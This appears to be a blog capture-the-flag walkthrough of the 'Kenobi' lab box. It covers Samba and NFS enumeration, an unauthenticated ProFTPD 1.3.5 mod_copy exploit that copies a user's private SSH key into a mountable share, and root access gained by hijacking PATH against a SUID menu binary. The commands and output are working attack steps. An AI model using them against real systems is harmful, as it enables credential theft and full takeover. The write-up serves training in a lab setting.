Intro
The Kenobi box will cover the following topics:
- Enumeration of samba shares
- Manipulation of a vulnerable version of proftpd
- Path variable manipulation for privilege escalation
Enumeration
Nmap
Initial Nmap scan:
The apache server on port 80, ProFTPD’s version on port 21 and Samba shares get my immediate attention.
Nothing valuable on port 80, neither after scanning for other directories/files with gobuster.
Let’s enumerate the smb shares & users with Nmap scripts:
PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | smb-enum-shares: | account_used: guest | \\10.10.100.215\IPC$: | Type: STYPE_IPC_HIDDEN | Comment: IPC Service (kenobi server (Samba, Ubuntu)) | Users: 2 | Max Users:
It seems like we have read/write access to two of the shares.
Let’s inspect one of the shares:
smb: \> ls . D 0 Wed Sep 4 12:49:09 2019 .. D 0 Wed Sep 4 12:56:07 2019 log.txt N 12237 Wed Sep 4 12:49:09 2019 9204224 blocks of size 1024. 6877100 blocks available smb: \> get log.txt ┌──(kali㉿kali)-[~] └─$ cat log.txt
Generating public/private rsa key pair. Enter file in which to save the key (/home/kenobi/.ssh/id_rsa): Created directory '/home/kenobi/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/kenobi/.ssh/id_rsa. Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub. The key fingerprint is: SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi The key's randomart image is: ...
log.txt contains information about the generation of a private ssh key located in its default directory. It also has information about the ProFTPD service.
NFS
Before starting the exploitation phase, we still have some enumeration to do. Let’s enumerate the network file system (nfs) found on port 111 earlier:
PORT STATE SERVICE 111/tcp open rpcbind | nfs-showmount: |_ /var *
Now that we know it’s possible to mount the
/var
directory, let’s keep this in mind and go on with the exploitation phase.
Exploitation
Searchsploit
We’ve found proftpd’s version earlier, let’s check out for potential exploits:
----------------------------------------------------------- --------------------------------- Exploit Title | Path ----------------------------------------------------------- --------------------------------- ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/36803.py ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt ----------------------------------------------------------- ---------------------------------
The third exploit, “36742.txt”, tells us about using the mod_copy module’s
SITE CPFT/SITE CPTO
commands. It should allow us to use these commands unauthenticated for copying files/directories from one place to another on the server. Let’s go on and connect withnc
to port 21 (ftp).
We know that the FTP service is running as the Kenobi user (from the file on the share), and an ssh key is generated for that user (log.txt).
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.100.215] SITE CPFR /home/kenobi/.ssh/id_rsa 350 File or directory exists, ready for destination name SITE CPTO /var/tmp/id_rsa 250 Copy successful
We can now mount the directory locally and download the previously copied key.
┌──(kali㉿kali)-[~] └─$ ls -la /mnt/kenobiNFS total 56 drwxr-xr-x 14 root root 4096 Sep 4 2019 . drwxr-xr-x 3 root root 4096 Feb 26 00:07 .. drwxr-xr-x 2 root root 4096 Sep 4 2019 backups drwxr-xr-x 9 root root 4096 Sep 4 2019 cache drwxrwxrwt 2 root root 4096 Sep 4 2019 crash drwxr-xr-x 40 root root 4096 Sep 4 2019 lib drwxrwsr-x 2 root staff 4096 Apr 12 2016 local lrwxrwxrwx 1 root root 9 Sep 4 2019 lock -> /run/lock drwxrwxr-x 10 root crontab 4096 Sep 4 2019 log drwxrwsr-x 2 root mail 4096 Feb 26 2019 mail drwxr-xr-x 2 root root 4096 Feb 26 2019 opt lrwxrwxrwx 1 root root 4 Sep 4 2019 run -> /run drwxr-xr-x 2 root root 4096 Jan 29 2019 snap drwxr-xr-x 5 root root 4096 Sep 4 2019 spool drwxrwxrwt 6 root root 4096 Feb 25 23:54 tmp drwxr-xr-x 3 root root 4096 Sep 4 2019 www
We now have a network mount on our target, just like a physically connected device to our pc! We can go to
/var/tmp
, get the private key, and then log in to Kenobi’s account.
kenobi@kenobi:~$ whoami kenobi
We always need to give the private ssh keys read/write-only permissions. Otherwise, it won’t work because of security-related issues. Here’re the correct permissions:
The .ssh directory permissions should be 700 (drwx——).
The public key (.pub file) should be 644 (-rw-r–r–).
The private key (id_rsa) on the client host, and the authorized_keys file on the server, should be 600 (-rw——-).
Privilege Escalation
SUID
Let’s look for files/programs that have the SUID bit set:
SUID abuse is a common privilege escalation technique that allows us to gain root access by executing a root-owned binary with SUID enabled. An alternative command would be:
find / -perm -u=s -type f 2>/dev/null
You can usually check GTFOBins to see how to abuse the file with the SUID bit set but /usr/bin/menu
is a custom made program. Therefore, we can’t find it there. Let’s run it and see what it does:
*************************************** 1. status check 2. kernel version 3. ifconfig ** Enter your choice :
It’s executing some simple commands upon choosing. Let’s try and see what happens in the backend with the strings command, which looks for human-readable strings on a binary:
This shows that the binaries are run without their full path, like not using /usr/bin/curl, /usr/bin/uname or /usr/sbin/ifconfig.
The file itself runs with root privileges, which makes the executed commands run the same way.
*************************************** 1. status check 2. kernel version 3. ifconfig ** Enter your choice :3 # whoami root #
First, we navigate to the tmp path, then echo /bin/sh
to a new file called ifconfig
. Afterwards, set the correct permissions to our newly created ifconfig. Then we set the PATH variable to the current path (tmp), so /usr/bin/menu
will use our PATH variable to find the ifconfig
binary.
I hope everything is clear. If not, let me know in the comments below.
0 Comments